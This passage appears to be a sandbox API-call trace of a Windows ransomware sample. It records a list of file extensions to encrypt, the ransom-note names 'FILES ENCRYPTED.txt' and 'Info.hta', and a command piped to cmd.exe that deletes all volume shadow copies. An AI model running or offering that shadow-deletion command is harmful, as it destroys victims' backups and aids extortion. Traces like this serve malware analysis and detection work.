Size=0x20) returned 0x45f0d0 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a28, Size=0x8) returned 0x463ad8 [0155.381] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0155.381] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b7bd8 | out: hHeap=0x420000) returned 1 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a1c8, Size=0x20) returned 0x45f1c0 [0155.382] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x487778, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0155.382] lstrlenW (lpString="C:\\") returned 3 [0155.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x487778 | out: hHeap=0x420000) returned 1 [0155.383] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463b98, Size=0x82) returned 0x487518 [0155.383] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463af8, Size=0x100) returned 0x4b8520 [0155.383] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x487518, Size=0x104) returned 0x4383c8 [0155.383] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4b8520, Size=0x200) returned 0x477f98 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4639b8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x477f98 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a1e0 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4768c0 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a348 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4774f8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a318 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a198 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4873f8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a240 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4869d8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a390 | out: hHeap=0x420000) returned 1 [0155.384] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a258, Size=0x20) returned 0x45f008 [0155.384] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f008, Size=0x40) returned 0x43dab8 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463ac8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a360 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486af8 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a378 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476d88 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a2a0 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463a48 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a138 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435f28 | out: hHeap=0x420000) returned 1 [0155.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434b80 | out: hHeap=0x420000) returned 1 [0155.384] lstrlenW (lpString="%systemdrive%") returned 13 [0155.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f1c0 | out: hHeap=0x420000) returned 1 [0155.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x477470 | out: hHeap=0x420000) returned 1 [0155.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463b68 | out: hHeap=0x420000) returned 1 [0155.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x466768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a210, Size=0x20) returned 0x45efb8 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45efb8, Size=0x40) returned 0x43d998 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d998, Size=0x80) returned 0x4768c0 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4768c0, Size=0x100) returned 0x4b8628 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4b8628, Size=0x200) returned 0x477f98 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x477f98, Size=0x400) returned 0x4789a8 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4789a8, Size=0x800) returned 0x4ba7a0 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4ba7a0, Size=0x1000) returned 0x4ba7a0 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463b98, Size=0x8) returned 0x463ac8 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463ac8, Size=0x10) returned 0x47a3d8 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a3d8, Size=0x20) returned 0x45eef0 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d710 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d710, Size=0x80) returned 0x4774f8 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4774f8, Size=0x100) returned 0x4b7ad0 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4b7ad0, Size=0x200) returned 0x477f98 [0155.388] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x477f98, Size=0x400) returned 0x4789a8 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4789a8, Size=0x800) returned 0x4bdbc0 [0155.389] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ba7a0 | out: hHeap=0x420000) returned 1 [0155.389] lstrlenW (lpString="") returned 0 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bca30 | out: hHeap=0x420000) returned 1 [0155.389] lstrlenW (lpString=".NEWS") returned 5 [0155.389] lstrlenW (lpString=".NEWS") returned 5 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bca30 | out: hHeap=0x420000) returned 1 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bc7f0, Size=0x20) returned 0x45eef0 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43dcb0 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43dcb0, Size=0x80) returned 0x476b68 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda78, Size=0x8) returned 0x4bda48 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda48, Size=0x10) returned 0x4bc7f0 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bc7f0, Size=0x20) returned 0x45f0a8 [0155.389] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476b68 | out: hHeap=0x420000) returned 1 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bccd0, Size=0x20) returned 0x45ef40 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ef40, Size=0x40) returned 0x43d950 [0155.389] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0155.389] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d950 | out: hHeap=0x420000) returned 1 [0155.389] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb08, Size=0x20) returned 0x45eef0 [0155.389] lstrlenW (lpString="Info.hta") returned 8 [0155.389] lstrlenW (lpString="Info.hta") returned 8 [0155.389] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eef0 | out: hHeap=0x420000) returned 1 [0155.390] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4be3c8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0155.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4be3c8 | out: hHeap=0x420000) returned 1 [0155.390] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0155.390] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f0a8, Size=0x40) returned 0x43d5a8 [0155.390] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb38, Size=0x20) returned 0x45ed88 [0155.391] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc70, Size=0x20) returned 0x45ef40 [0155.391] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ef40, Size=0x40) returned 0x43d5f0 [0155.391] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d5f0, Size=0x80) returned 0x476838 [0155.391] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476838, Size=0x100) returned 0x4b7de8 [0155.391] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b7de8 | out: hHeap=0x420000) returned 1 [0155.391] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4be3c8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0155.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ce3d0 | out: hHeap=0x420000) returned 1 [0155.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4be3c8 | out: hHeap=0x420000) returned 1 [0155.392] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb18, Size=0x8) returned 0x4bdaf8 [0155.392] lstrlenW (lpString="%windir%;") returned 9 [0155.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45ed88 | out: hHeap=0x420000) returned 1 [0155.392] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0155.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0155.392] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb08, Size=0x20) returned 0x45ed88 [0155.392] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ed88, Size=0x40) returned 0x43d878 [0155.392] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d878, Size=0x80) returned 0x4772d8 [0155.392] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4772d8, Size=0x100) returned 0x4b8628 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda38, Size=0x8) returned 0x4bdad8 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdad8, Size=0x10) returned 0x4bcd48 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd48, Size=0x20) returned 0x45efb8 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb98, Size=0x8) returned 0x4bdb68 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda78, Size=0x8) returned 0x4bdb78 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda08, Size=0x8) returned 0x4bdb18 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb18, Size=0x10) returned 0x4bcb38 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb38, Size=0x20) returned 0x45f1e8 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb68, Size=0x10) returned 0x4bcbf8 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb78, Size=0x10) returned 0x4bcb20 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb98, Size=0x8) returned 0x4bdb68 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb18, Size=0x8) returned 0x4bda88 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcbf8, Size=0x20) returned 0x45f0f8 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcb20, Size=0x20) returned 0x45efe0 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdb78, Size=0x8) returned 0x4bda78 [0155.393] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0155.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b8628 | out: hHeap=0x420000) returned 1 [0155.393] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcda8, Size=0x20) returned 0x45eef0 [0155.394] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x497798, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0155.394] lstrlenW (lpString="C:\\") returned 3 [0155.394] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.394] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0155.394] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bda68, Size=0x82) returned 0x486ee8 [0155.394] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bdac8, Size=0x100) returned 0x4b79c8 [0155.394] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x486ee8, Size=0x104) returned 0x4383c8 [0155.395] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4b79c8, Size=0x200) returned 0x477f98 [0155.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda98 | out: hHeap=0x420000) returned 1 [0155.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x477f98 | out: hHeap=0x420000) returned 1 [0155.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcb68 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x477580 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcbf8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476838 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd60 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4383c8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcb20 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4873f8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd78 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486c18 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd90 | out: hHeap=0x420000) returned 1 [0155.396] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd60, Size=0x20) returned 0x45f198 [0155.396] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f198, Size=0x40) returned 0x43d710 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda58 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bccb8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4871b8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcdd8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476fa8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcce8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdb18 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd18 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435fe8 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x434a20 | out: hHeap=0x420000) returned 1 [0155.396] lstrlenW (lpString="%systemdrive%") returned 13 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45eef0 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4767b0 | out: hHeap=0x420000) returned 1 [0155.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda38 | out: hHeap=0x420000) returned 1 [0155.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x487778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0155.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0x43ba90*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0190.550] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba90 | out: hHeap=0x420000) returned 1 [0190.550] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0190.550] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d7a0 | out: hHeap=0x420000) returned 1 [0190.550] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089120 [0190.550] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089120, Size=0x20) returned 0x408df88 [0190.550] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x408df88, Size=0x40) returned 0x3fe2328 [0190.550] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x3fe2328, Size=0x80) returned 0x476e98 [0190.550] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089138 [0190.550] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089138, Size=0x20) returned 0x408df88 [0190.550] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1fffc) returned 0x487778 [0190.551] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3830048 [0190.551] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4074858 [0190.552] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089228 [0190.552] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089228, Size=0x20) returned 0x408dbc8 [0190.552] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x408dbc8, Size=0x40) returned 0x3fe2328 [0190.552] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x3fe2328, Size=0x80) returned 0x476ae0 [0190.552] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476ae0, Size=0x100) returned 0x4b8100 [0190.552] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0190.552] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b8100 | out: hHeap=0x420000) returned 1 [0190.552] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x3830048, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0190.552] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0190.552] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3830048 | out: hHeap=0x420000) returned 1 [0190.553] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x2c4, hWritePipe=0x19fd54*=0x2c8) returned 1 [0190.553] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x514, hWritePipe=0x19fdc4*=0x33c) returned 1 [0190.553] SetHandleInformation (hObject=0x2c8, dwMask=0x1, dwFlags=0x0) returned 1 [0190.554] SetHandleInformation (hObject=0x514, dwMask=0x1, dwFlags=0x0) returned 1 [0190.554] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2c4, hStdOutput=0x33c, hStdError=0x33c), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x558, hThread=0x3bc, dwProcessId=0xfb4, dwThreadId=0xfb8)) returned 1 [0190.568] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0190.568] WriteFile (in: hFile=0x2c8, lpBuffer=0x476e98*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x476e98*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0190.568] CloseHandle (hObject=0x558) returned 1 [0190.568] CloseHandle (hObject=0x3bc) returned 1 [0190.568] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x487778 | out: hHeap=0x420000) returned 1 [0190.569] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0190.569] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476e98 | out: hHeap=0x420000) returned 1 [0190.569] lstrlenW (lpString="%comspec%") returned 9 [0190.569] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.569] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0190.569] HeapFree (in: hHeap=0x420000, 